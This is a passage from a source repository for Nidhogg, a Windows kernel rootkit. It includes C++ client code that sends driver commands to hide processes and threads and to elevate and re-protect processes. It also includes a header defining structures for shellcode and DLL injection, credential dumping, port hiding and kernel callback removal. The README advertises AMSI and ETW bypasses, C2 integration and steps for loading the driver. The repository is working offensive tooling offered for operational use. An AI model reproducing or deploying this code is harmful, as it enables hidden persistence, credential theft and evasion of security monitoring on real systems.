nullptr)) 56 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 57 | return NIDHOGG_SUCCESS; 58 | } 59 | 60 | NidhoggErrorCodes NidhoggInterface::ProcessHide(DWORD pid) { 61 | DWORD returned; 62 | HiddenProcess hiddenProcess = { pid, true }; 63 | 64 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_PROCESS, &hiddenProcess, sizeof(hiddenProcess), nullptr, 0, 65 | &returned, nullptr)) 66 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 67 | return NIDHOGG_SUCCESS; 68 | } 69 | 70 | NidhoggErrorCodes NidhoggInterface::ProcessUnhide(DWORD pid) { 71 | DWORD returned; 72 | HiddenProcess hiddenProcess = { pid, false }; 73 | 74 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_PROCESS, &hiddenProcess, sizeof(hiddenProcess), nullptr, 0, 75 | &returned, nullptr)) 76 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 77 | return NIDHOGG_SUCCESS; 78 | } 79 | 80 | NidhoggErrorCodes NidhoggInterface::ThreadHide(DWORD tid) { 81 | DWORD returned; 82 | HiddenThread hiddenThread{ tid, true }; 83 | 84 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_THREAD, &hiddenThread, sizeof(hiddenThread), nullptr, 0, 85 | &returned, nullptr)) 86 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 87 | return NIDHOGG_SUCCESS; 88 | } 89 | 90 | NidhoggErrorCodes NidhoggInterface::ThreadUnhide(DWORD tid) { 91 | DWORD returned; 92 | HiddenThread hiddenThread{ tid, false }; 93 | 94 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_THREAD, &hiddenThread, sizeof(hiddenThread), nullptr, 0, 95 | &returned, nullptr)) 96 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 97 | return NIDHOGG_SUCCESS; 98 | } 99 | 100 | NidhoggErrorCodes NidhoggInterface::ProcessElevate(DWORD pid) { 101 | DWORD returned; 102 | 103 | if (!DeviceIoControl(this->hNidhogg, IOCTL_ELEVATE_PROCESS, &pid, sizeof(pid), nullptr, 0, &returned, nullptr)) 104 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 105 | return NIDHOGG_SUCCESS; 106 | } 107 | 108 | NidhoggErrorCodes NidhoggInterface::ProcessSetProtection(DWORD pid, UCHAR signerType, UCHAR signatureSigner) { 109 | DWORD returned; 110 | ProcessSignature processSignature{}; 111 | 112 | processSignature.Pid = pid; 113 | processSignature.SignerType = signerType; 114 | processSignature.SignatureSigner = signatureSigner; 115 | 116 | if (!DeviceIoControl(this->hNidhogg, IOCTL_SET_PROCESS_SIGNATURE_LEVEL, &processSignature, sizeof(processSignature), 117 | nullptr, 0, &returned, nullptr)) 118 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 119 | return NIDHOGG_SUCCESS; 120 | } 121 | 122 | std::vector NidhoggInterface::QueryProcesses() { 123 | DWORD returned; 124 | OutputProtectedProcessesList result{}; 125 | std::vector pids; 126 | 127 | if (!DeviceIoControl(this->hNidhogg, IOCTL_QUERY_PROTECTED_PROCESSES, nullptr, 0, &result, sizeof(result), &returned, 128 | nullptr)) { 129 | 130 | pids.push_back(NIDHOGG_ERROR_DEVICECONTROL_DRIVER); 131 | return pids; 132 | } 133 | 134 | for (ULONG i = 0; i < result.PidsCount; i++) { 135 | pids.push_back(result.Processes[i]); 136 | } 137 | return pids; 138 | } 139 | 140 | std::vector NidhoggInterface::QueryThreads() { 141 | DWORD returned; 142 | OutputThreadsList result{}; 143 | std::vector tids; 144 | 145 | if (!DeviceIoControl(this->hNidhogg, IOCTL_QUERY_PROTECTED_THREADS, nullptr, 0, &result, sizeof(result), &returned, 146 | nullptr)) { 147 | 148 | tids.push_back(NIDHOGG_ERROR_DEVICECONTROL_DRIVER); 149 | return tids; 150 | } 151 | 152 | for (ULONG i = 0; i < result.TidsCount; i++) { 153 | tids.push_back(result.Threads[i]); 154 | } 155 | return tids; 156 | } -------------------------------------------------------------------------------- /NidhoggClient/NidhoggStructs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | constexpr ULONG MAX_PATCHED_MODULES = 256; 4 | constexpr ULONG MAX_FILES = 256; 5 | constexpr ULONG MAX_DRIVER_PATH = 256; 6 | constexpr ULONG MAX_PIDS = 256; 7 | constexpr ULONG MAX_TIDS = 256; 8 | constexpr ULONG MAX_ROUTINES = 64; 9 | 10 | constexpr ULONG REG_KEY_LEN = 255; 11 | constexpr ULONG REG_VALUE_LEN = 260; 12 | constexpr ULONG MAX_PORTS = 256; 13 | 14 | enum NidhoggErrorCodes { 15 | NIDHOGG_SUCCESS, 16 | NIDHOGG_GENERAL_ERROR, 17 | NIDHOGG_ERROR_CONNECT_DRIVER, 18 | NIDHOGG_ERROR_DEVICECONTROL_DRIVER, 19 | NIDHOGG_INVALID_COMMAND, 20 | NIDHOGG_INVALID_OPTION, 21 | NIDHOGG_INVALID_INPUT 22 | }; 23 | 24 | enum class MODE { 25 | KernelMode, 26 | UserMode 27 | }; 28 | 29 | enum SignatureType 30 | { 31 | PsProtectedTypeNone = 0, 32 | PsProtectedTypeProtectedLight = 1, 33 | PsProtectedTypeProtected = 2 34 | }; 35 | 36 | enum SignatureSigner 37 | { 38 | PsProtectedSignerNone = 0, // 0 39 | PsProtectedSignerAuthenticode, // 1 40 | PsProtectedSignerCodeGen, // 2 41 | PsProtectedSignerAntimalware, // 3 42 | PsProtectedSignerLsa, // 4 43 | PsProtectedSignerWindows, // 5 44 | PsProtectedSignerWinTcb, // 6 45 | PsProtectedSignerWinSystem, // 7 46 | PsProtectedSignerApp, // 8 47 | PsProtectedSignerMax // 9 48 | }; 49 | 50 | enum InjectionType { 51 | APCInjection, 52 | NtCreateThreadExInjection 53 | }; 54 | 55 | enum RegItemType { 56 | RegProtectedKey = 0, 57 | RegProtectedValue = 1, 58 | RegHiddenKey = 2, 59 | RegHiddenValue = 3 60 | }; 61 | 62 | enum CallbackType { 63 | ObProcessType, 64 | ObThreadType, 65 | PsCreateProcessTypeEx, 66 | PsCreateProcessType, 67 | PsCreateThreadType, 68 | PsCreateThreadTypeNonSystemThread, 69 | PsImageLoadType, 70 | CmRegistryType 71 | }; 72 | 73 | // ********************************************************************************************************* 74 | 75 | // ** General Structures *************************************************************************************** 76 | struct KernelCallback { 77 | CallbackType Type; 78 | ULONG64 CallbackAddress; 79 | bool Remove; 80 | }; 81 | 82 | struct ObCallback { 83 | PVOID PreOperation; 84 | PVOID PostOperation; 85 | CHAR DriverName[MAX_DRIVER_PATH]; 86 | }; 87 | 88 | struct PsRoutine { 89 | ULONG64 CallbackAddress; 90 | CHAR DriverName[MAX_DRIVER_PATH]; 91 | }; 92 | 93 | struct CmCallback { 94 | ULONG64 CallbackAddress; 95 | ULONG64 Context; 96 | CHAR DriverName[MAX_DRIVER_PATH]; 97 | }; 98 | 99 | struct ObCallbacksList { 100 | CallbackType Type; 101 | ULONG NumberOfCallbacks; 102 | ObCallback* Callbacks; 103 | }; 104 | 105 | struct PsRoutinesList { 106 | CallbackType Type; 107 | ULONG NumberOfRoutines; 108 | PsRoutine* Routines; 109 | }; 110 | 111 | struct CmCallbacksList { 112 | ULONG NumberOfCallbacks; 113 | CmCallback* Callbacks; 114 | }; 115 | 116 | struct PatchedModule { 117 | ULONG Pid; 118 | PVOID Patch; 119 | ULONG PatchLength; 120 | CHAR* FunctionName; 121 | WCHAR* ModuleName; 122 | }; 123 | 124 | struct OutputProtectedProcessesList { 125 | ULONG PidsCount; 126 | ULONG Processes[MAX_PIDS]; 127 | }; 128 | 129 | struct OutputThreadsList { 130 | ULONG TidsCount; 131 | ULONG Threads[MAX_TIDS]; 132 | }; 133 | 134 | struct ProcessSignature { 135 | ULONG Pid; 136 | UCHAR SignerType; 137 | UCHAR SignatureSigner; 138 | }; 139 | 140 | struct FileItem { 141 | int FileIndex; 142 | WCHAR FilePath[MAX_PATH]; 143 | }; 144 | 145 | struct RegItem { 146 | int RegItemsIndex; 147 | ULONG Type; 148 | WCHAR KeyPath[REG_KEY_LEN]; 149 | WCHAR ValueName[REG_VALUE_LEN]; 150 | }; 151 | 152 | struct PkgReadWriteData { 153 | MODE Mode; 154 | ULONG Pid; 155 | SIZE_T Size; 156 | PVOID LocalAddress; 157 | PVOID RemoteAddress; 158 | }; 159 | 160 | struct DllInformation { 161 | InjectionType Type; 162 | ULONG Pid; 163 | CHAR DllPath[MAX_PATH]; 164 | }; 165 | 166 | struct ShellcodeInformation { 167 | InjectionType Type; 168 | ULONG Pid; 169 | ULONG ShellcodeSize; 170 | PVOID Shellcode; 171 | PVOID Parameter1; 172 | ULONG Parameter1Size; 173 | PVOID Parameter2; 174 | ULONG Parameter2Size; 175 | PVOID Parameter3; 176 | ULONG Parameter3Size; 177 | }; 178 | 179 | struct HiddenModuleInformation { 180 | ULONG Pid; 181 | WCHAR* ModuleName; 182 | }; 183 | 184 | struct HiddenDriverInformation { 185 | WCHAR* DriverName; 186 | bool Hide; 187 | }; 188 | 189 | struct ProtectedProcess { 190 | ULONG Pid; 191 | bool Protect; 192 | }; 193 | 194 | struct HiddenProcess { 195 | ULONG Pid; 196 | bool Hide; 197 | }; 198 | 199 | struct HiddenThread { 200 | ULONG Tid; 201 | bool Hide; 202 | }; 203 | 204 | struct ProtectedThread { 205 | ULONG Tid; 206 | bool Protect; 207 | }; 208 | 209 | struct ProtectedFile { 210 | WCHAR* FilePath; 211 | bool Protect; 212 | }; 213 | 214 | struct RegistryQueryResult { 215 | std::vector Values; 216 | std::vector Keys; 217 | }; 218 | 219 | typedef struct _UNICODE_STRING { 220 | USHORT Length; 221 | USHORT MaximumLength; 222 | #ifdef MIDL_PASS 223 | [size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer; 224 | #else // MIDL_PASS 225 | _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; 226 | #endif // MIDL_PASS 227 | } UNICODE_STRING, * PUNICODE_STRING; 228 | 229 | struct DesKeyInformation { 230 | ULONG Size; 231 | PVOID Data; 232 | }; 233 | 234 | struct Credentials { 235 | UNICODE_STRING Username; 236 | UNICODE_STRING Domain; 237 | UNICODE_STRING EncryptedHash; 238 | }; 239 | 240 | struct OutputCredentials { 241 | ULONG Index; 242 | Credentials Creds; 243 | }; 244 | 245 | enum PortType { 246 | TCP, 247 | UDP 248 | }; 249 | 250 | struct InputHiddenPort { 251 | bool Hide; 252 | bool Remote; 253 | PortType Type; 254 | USHORT Port; 255 | }; 256 | 257 | struct HiddenPort { 258 | bool Remote; 259 | PortType Type; 260 | USHORT Port; 261 | }; 262 | 263 | struct OutputHiddenPorts { 264 | HiddenPort Ports[MAX_PORTS]; 265 | USHORT PortsCount; 266 | }; 267 | 268 | struct ScriptInformation { 269 | PVOID Script; 270 | ULONG ScriptSize; 271 | }; -------------------------------------------------------------------------------- /NidhoggClient/pch.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | -------------------------------------------------------------------------------- /NidhoggClient/pch.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #pragma comment(lib, "advapi32.lib") 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Nidhogg 2 | 3 |

4 | Logo 5 |

6 | 7 | ![image](https://img.shields.io/badge/C%2B%2B-00599C?style=for-the-badge&logo=c%2B%2B&logoColor=white) ![image](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white) 8 | 9 | Nidhogg is a multi-functional rootkit to showcase the variety of operations that can be done from kernel space. The goal of Nidhogg is to provide an all-in-one and easy-to-use rootkit with multiple helpful functionalities for operations. Besides that, it can also easily be integrated with your C2 framework. 10 | 11 | Nidhogg can work on any version of x64 Windows 10 and Windows 11. 12 | 13 | This repository contains a kernel driver with a C++ program to communicate with it. 14 | 15 | If you want to know more, check out the [wiki](https://github.com/Idov31/Nidhogg/wiki) for a detailed explanation. 16 | 17 | ## Current Features 18 | 19 | - Process hiding and unhiding 20 | - Process elevation 21 | - Process protection (anti-kill and dumping) 22 | - Bypass pe-sieve 23 | - Thread hiding and unhiding 24 | - Thread protection (anti-kill) 25 | - File protection (anti-deletion and overwriting) 26 | - Registry keys and values protection (anti-deletion and overwriting) 27 | - Registry keys and values hiding 28 | - Querying currently protected processes, threads, files, hidden ports, registry keys and values 29 | - Function patching 30 | - Built-in AMSI bypass 31 | - Built-in ETW patch 32 | - Process signature (PP/PPL) modification 33 | - Can be reflectively loaded 34 | - Shellcode Injection 35 | - APC 36 | - NtCreateThreadEx 37 | - DLL Injection 38 | - APC 39 | - NtCreateThreadEx 40 | - Querying kernel callbacks 41 | - ObCallbacks 42 | - Process and thread creation routines 43 | - Image loading routines 44 | - Registry callbacks 45 | - Removing and restoring kernel callbacks 46 | - ETWTI tampering 47 | - Module hiding 48 | - Driver hiding and unhiding 49 | - Credential Dumping 50 | - Port hiding/unhiding 51 | - Script execution 52 | - Initial operations 53 | 54 | ## Reflective loading 55 | 56 | Since version v0.3, Nidhogg can be reflectively loaded with [kdmapper](https://github.com/TheCruZ/kdmapper) but because [PatchGuard](https://en.wikipedia.org/wiki/Kernel_Patch_Protection) will be automatically triggered if the driver registers callbacks, Nidhogg will not register any callback. Meaning, that if you are loading the driver reflectively these features will be disabled by default: 57 | 58 | - Process protection 59 | - Thread protection 60 | - Registry operations 61 | 62 | ## Script Execution 63 | 64 | Since version v1.0, Nidhogg can execute [NidhoggScripts](https://github.com/Idov31/NidhoggScript) - a tool that allows one to execute a couple of commands one after another, thus, creating playbooks for Nidhogg. To see how to write one check out the [wiki](https://github.com/Idov31/NidhoggScript/wiki) 65 | 66 | ## Initial Operations 67 | 68 | Since version v1.0, Nidhogg can execute [NidhoggScripts](https://github.com/Idov31/NidhoggScript) as initial operations as well. Meaning, that if it spots the file `out.ndhg` in the root of the project directory (the same directory as the Python file) it will execute the file each time the driver is running. 69 | 70 | ## PatchGuard triggering features 71 | 72 | These are the features known to trigger [PatchGuard](https://en.wikipedia.org/wiki/Kernel_Patch_Protection), you can still use them at your own risk. 73 | 74 | - Process hiding 75 | - File protecting 76 | 77 | ## Basic Usage 78 | 79 | To see the available commands you can run `NidhoggClient.exe` or look at the [wiki](https://github.com/Idov31/Nidhogg/wiki) for detailed information regarding how to use each command, the parameters it takes and how it works. 80 | 81 | ```sh 82 | NidhoggClient.exe 83 | 84 | # Simple usage: Hiding a process 85 | NidhoggClient.exe process hide 3110 86 | ``` 87 | 88 | ## Setup 89 | 90 | ### Building the client 91 | 92 | To compile the client, you will need to have [Visual Studio 2022](https://visualstudio.microsoft.com/thank-you-downloading-visual-studio/?sku=Community&rel=16) installed and then just build the project like any other Visual Studio project. 93 | 94 | ### Building the driver 95 | 96 | To compile the project, you will need the following tools: 97 | 98 | - [Visual Studio 2022](https://visualstudio.microsoft.com/thank-you-downloading-visual-studio/?sku=Community&rel=16) 99 | - [Windows Driver Kit](https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk) 100 | - [Python](https://www.python.org/downloads/) (for the initial operations) 101 | 102 | Clone the repository and build the driver. 103 | 104 | ### Driver Testing 105 | 106 | To test it in your testing environment run those commands with elevated cmd: 107 | 108 | ```cmd 109 | bcdedit /set testsigning on 110 | ``` 111 | 112 | After rebooting, create a service and run the driver: 113 | 114 | ```cmd 115 | sc create nidhogg type= kernel binPath= C:\Path\To\Driver\Nidhogg.sys 116 | sc start nidhogg 117 | ``` 118 | 119 | ### Debugging 120 | 121 | To debug the driver in your testing environment run this command with elevated cmd and reboot your computer: 122 | 123 | ```cmd 124 | bcdedit /debug on 125 | ``` 126 | 127 | After the reboot, you can see the debugging messages in tools such as [DebugView](https://learn.microsoft.com/en-us/sysinternals/downloads/debugview). 128 | 129 | ## Resources 130 | 131 | - [Windows Kernel Programming Book](https://github.com/zodiacon/windowskernelprogrammingbook) 132 | - [Kernel Structure Documentation](https://www.vergiliusproject.com) 133 | - [Registry Keys Hiding](https://github.com/JKornev/hidden) 134 | - [Process Signatures](https://github.com/itm4n/PPLcontrol) 135 | - [NtCreateThreadEx Hotfix](https://github.com/DarthTon/Blackbone) 136 | - [Credential Dumping](https://github.com/gentilkiwi/mimikatz) 137 | - [Port Hiding](https://github.com/bytecode77/r77-rootkit) 138 | - [Logo](https://hotpot.ai/art-generator) 139 | 140 | ## Contributions 141 | 142 | Thanks a lot to those people who contributed to this project: 143 | 144 | - [BlackOfWorld](https://github.com/BlackOfWorld) 145 | -------------------------------------------------------------------------------- /images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Idov31/Nidhogg/44989c404dd5f418723c50ec06f3d45f4c670f8d/images/logo.png -------------------------------------------------------------------------------- /post_compilation_operation.py: -------------------------------------------------------------------------------- 1 | import os 2 | from random import randint 3 | 4 | class NidhoggPostOperations(): 5 | def __init__(self): 6 | self.current_path = os.path.dirname(os.path.realpath(__file__)) 7 | 8 | def add_initial_operations(self): 9 | operations_size = 0 10 | initial_operations = '' 11 | 12 | # If the initial operations file exists, read it. 13 | if os.path.exists(os.path.join(self.current_path, "out.ndhg")): 14 | with open(os.path.join(self.current_path, "out.ndhg"), "rb") as initial_opearations_file: 15 | data = initial_opearations_file.read() 16 | operations_size = len(data) 17 | hexed_data = [hex(b) for b in data] 18 | initial_operations = ",".join(hexed_data) 19 | 20 | # Creating the new header file. 21 | new_initial_operations = '#pragma once\n#include \"pch.h\"\n\n' 22 | 23 | if operations_size == 0: 24 | new_initial_operations += 'constexpr SIZE_T InitialOperationsSize = 0;\n' 25 | new_initial_operations += 'constexpr UCHAR InitialOperations = {};\n' 26 | else: 27 | new_initial_operations += f'constexpr SIZE_T InitialOperationsSize = {operations_size};\n' 28 | new_initial_operations += 'constexpr UCHAR InitialOperations[InitialOperationsSize] = {' + initial_operations + '};\n' 29 | 30 | # Writing the new header file. 31 | with open(os.path.join(self.current_path, "Nidhogg\\InitialOperation.hpp"), "w") as initial_opeartions_header: 32 | initial_opeartions_header.write(new_initial_operations) 33 | 34 | 35 | def main(): 36 | nidhogg_post_operations = NidhoggPostOperations() 37 | nidhogg_post_operations.add_initial_operations() 38 | 39 | 40 | if __name__ == "__main__": 41 | main() 42 | --------------------------------------------------------------------------------